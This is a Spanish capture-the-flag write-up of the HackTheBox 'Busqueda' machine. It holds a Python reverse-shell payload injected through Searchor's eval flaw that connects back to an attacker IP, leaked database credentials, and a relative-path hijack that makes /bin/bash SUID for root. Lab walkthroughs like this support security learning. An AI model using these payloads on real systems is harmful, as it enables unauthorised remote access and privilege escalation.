Busqueda - HackTheBox

Featured image

En esta ocasión resolveremos la máquina Busqueda de la plataforma HackTheBox nivel Easy.

HTBadge

Como de costumbre comenzamos lanzando la herramienta nmap para realizar un primer reconocimiento.

Primero lanzaremos el siguiente comando de nmap para descubrir los puertos que tiene expuestos la máquina víctima.

nmap -p- -Pn -n --min-rate 5000 10.10.11.208 -vvv -oG puertos

Y tras lanzar el comando podremos ver que tenemos los siguientes puertos abiertos.

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

Una vez que ya sabemos que puertos tiene expuestos la máquina, procedo a lanzar un escaneo un poco más avanzado para descubrir que servicios corren en cada puerto expuesto.

nmap -p22,80 -sCV -Pn -n 10.10.11.208 -oN servicios
 PORT   STATE SERVICE VERSION
│ 22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
│ | ssh-hostkey: 
│ |   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
│ |_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
│ 80/tcp open  http    Apache httpd 2.4.52
│ |_http-server-header: Apache/2.4.52 (Ubuntu)
│ |_http-title: Did not follow redirect to http://searcher.htb/
│ Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Encontramos un vhost –> searcher.htb que debemos añadir al archivo hosts.

Tras añadirlo accedemos al vhost desde el navegador para ver que tenemos.

Encontramos lo que parece ser una plataforma que te permite realizar búsqueda con múltiples motores de búsqueda, como bing, yahoo… etc.

Si nos desplazamos a la parte inferior de la página podremos ver la versión que se ejecuta Searchor 2.4.0.

Searchor es una biblioteca PyPi Python todo en uno que simplifica el web scraping, la obtención de información sobre un tema y la generación de URL de consulta de búsqueda.

Ahora que ya sabemos lo que es y que versión ejecuta, procedo a buscar vulnerabilidades.

Tras una breve búsqueda, encuentro este repositorio de github.

POC-Searchor

En el repo podemos ver que es una vulnerabilidad de Ejecución de Código Arbitrario, en la que podemos ver que a través de eval podemos ejecutar código en python, de forma que podría intentar entablar una reverse shell.

', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.96',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#

Lo primero es ponernos en escucha en el puerto 443 con netcat.

nc -lnvp 443.

Y después introducimos la reverse shell en el panel de búsqueda de la web.

Y recibimos la conexión en el oyente de netcat.

Tras enumerar un poco los archivos locales del servidor web encuentro algo curioso en la ruta /var/www/app/.git

Parece ser la contraseña del usuario cody, pero si nos fijamos bien, encontramos otro vhost gitea.searcher.htb, por lo que lo añado al archivo hosts como hice anteriormente con el otro.

Accedo al vhost y pruebo a logarme con el usuario cody y la contraseña que encontramos, pero no hay nada relevante…

Pero si nos fijamos bien podemos ver que existe un usuario Administrador del panel gitea… aunque tras un rato buscando no encontré ninguna credencial ni nada parecido.

Se me ocurre probar la contraseña del usuario cody para ejecutar sudo -l y ver que podemos ejecutar como root sin la contraseña.

svc@busqueda:/var/www/app/.git$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

A continuación intento conectarme por ssh para tener una sesión un poco más estable.

ssh svc@10.10.14.64 usando la contraseña que vimos anteriormente que pertenece al usuario cody para gitea.

Pruebo a ejecutar el script system-checkup.py.

Tras ejecutarlo podremos ver los parámetros que nos ofrece el script.

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

Podemos ver 3 parámetros:

Esto me dice que puede que haya algo que se me escapa… por lo que sigo buscando y enumerando

Hasta que veo que hay algo en el puerto 3000 corriendo…

Por lo que intento traérmelo a mi máquina a través de ssh.

ssh -L 3000:127.0.0.1:3000

Pero al acceder me redirige al mismo panel de gitea…

Tras seguir investigando llego a la conclusión que a través del script podremos realizar consultas a la base de datos de gitea, de la siguiente forma.

sudo python3 /opt/scripts/system-checkup.py docker-inspect --format='' mysql_db

Y como salida recibimos lo siguiente:

{"Hostname":"f84a6b33fb5a",
"Domainname":"",
"User":"",
"AttachStdin":false,
"AttachStdout":false,
"AttachStderr":false,
"ExposedPorts":{"3306/tcp":{},
"33060/tcp":{}},
"Tty":false,
"OpenStdin":false,
"StdinOnce":false,
"Env":["MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF",
"MYSQL_USER=gitea",
"MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh",
"MYSQL_DATABASE=gitea",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"GOSU_VERSION=1.14",
"MYSQL_MAJOR=8.0",
"MYSQL_VERSION=8.0.31-1.el8",
"MYSQL_SHELL_VERSION=8.0.31-1.el8"],
"Cmd":["mysqld"],
"Image":"mysql:8",
"Volumes":{"/var/lib/mysql":{}},
"WorkingDir":"",
"Entrypoint":["docker-entrypoint.sh"],
"OnBuild":null,
"Labels":{"com.docker.compose.config-hash":"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b",
"com.docker.compose.container-number":"1",
"com.docker.compose.oneoff":"False",
"com.docker.compose.project":"docker",
"com.docker.compose.project.config_files":"docker-compose.yml",
"com.docker.compose.project.working_dir":"/root/scripts/docker",
"com.docker.compose.service":"db",
"com.docker.compose.version":"1.29.2"}}

Y ahí encontramos lo que parece una contraseña…

yuiu1hoiu4i5ho1uh

Por lo que uso esta contraseña para logarme en el panel con el usuario Administrador.

Y como vemos encontramos el repositorio con los scripts de la ruta /opt/scripts, por lo que procedo a ver el código del system-checkup.py.

#!/bin/bash
import subprocess
import sys

actions = ['full-checkup', 'docker-ps','docker-inspect']

def run_command(arg_list):
    r = subprocess.run(arg_list, capture_output=True)
    if r.stderr:
        output = r.stderr.decode()
    else:
        output = r.stdout.decode()

    return output


def process_action(action):
    if action == 'docker-inspect':
        try:
            _format = sys.argv[2]
            if len(_format) == 0:
                print(f"Format can't be empty")
                exit(1)
            container = sys.argv[3]
            arg_list = ['docker', 'inspect', '--format', _format, container]
            print(run_command(arg_list)) 
        
        except IndexError:
            print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")
            exit(1)
    
        except Exception as e:
            print('Something went wrong')
            exit(1)
    
    elif action == 'docker-ps':
        try:
            arg_list = ['docker', 'ps']
            print(run_command(arg_list)) 
        
        except:
            print('Something went wrong')
            exit(1)

    elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)
            

if __name__ == '__main__':

    try:
        action = sys.argv[1]
        if action in actions:
            process_action(action)
        else:
            raise IndexError

    except IndexError:
        print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')
        print('')
        print('     docker-ps     : List running docker containers')
        print('     docker-inspect : Inpect a certain docker container')
        print('     full-checkup  : Run a full system checkup')
        print('')
        exit(1)

Tras leer el código puedo ver que en el momento que lanzamos el script con el parámetro full-checkup tira de un archivo llamado full-checkup.sh en bash, pero no especifica la ruta donde se ubica este archivo, por lo que podría crear un archivo con el mismo nombre con el contenido que yo quiera.

Por lo que si yo creo un archivo en /tmp con el mismo nombre y con un chmod u+s /bin/bash lo que va a hacer es ejecutar mi archivo full-checkup.sh y convertir la bash en suid.

Lo haré por pasos para verlo más claro.

  1. Me dirijo a la ruta /home/svc creo un archivo .sh con el nombre full-checkup.sh y con el siguiente contenido.
svc@busqueda:~$ cat full-checkup.sh 
#!/bin/bash
chmod +s /bin/bash
  1. Desde la ruta /home/svc ejecutamos el script con el parámetro full-checkup y ejecutará nuestro archivo full-checkup.sh
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
  1. El binario bash ya se habrá convertido en SUID y ejecutamos bash -p y nos convertimos en root.